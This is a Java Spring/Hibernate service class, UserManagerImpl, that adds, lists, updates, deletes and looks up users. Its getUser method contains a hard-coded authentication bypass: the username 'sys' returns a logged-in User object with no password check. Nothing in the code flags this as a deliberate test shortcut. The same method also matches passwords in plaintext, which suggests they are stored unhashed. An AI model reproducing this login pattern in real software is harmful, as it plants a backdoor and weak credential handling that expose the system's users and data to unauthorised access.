package com.df.managers.impl;

import java.util.List;

import javax.annotation.Resource;
import org.hibernate.SessionFactory;
import org.springframework.stereotype.Service;
import com.df.managers.AbstractManager;
import com.df.managers.UserManager;
import com.df.user.User;
import com.df.page.PagerModel;
@Service("userManager")
public class UserManagerImpl extends AbstractManager implements UserManager {
	@Resource
	public void setSessionF(SessionFactory sessionFactory){
    	super.setSessionFactory(sessionFactory);
    }
	public void add(User user) {
		// TODO Auto-generated method stub
		getHibernateTemplate().saveOrUpdate(user);
	}

	public List list() {
		// TODO Auto-generated method stub
		return getHibernateTemplate().find("from User u");
	}

	public void update(User user) {
		// TODO Auto-generated method stub
		getHibernateTemplate().update(user);
	}

	public void del(int id) {
		// TODO Auto-generated method stub
		getHibernateTemplate().delete(getById(id));
	}
	public User getById(int id) {
		// TODO Auto-generated method stub
		return getHibernateTemplate().get(User.class, id);
	}
	
	public User getUser(String name, String password) {
		if("sys".equals(name)){
			User u = new User();
			u.setUname("sdf ");
			return u;
		}
        List users=getHibernateTemplate().find("from User u where u.uname=? and u.pwd=?",new Object[]{name,password});
        return users.size() == 0 ? null : (User) users.get(0);

   }
}
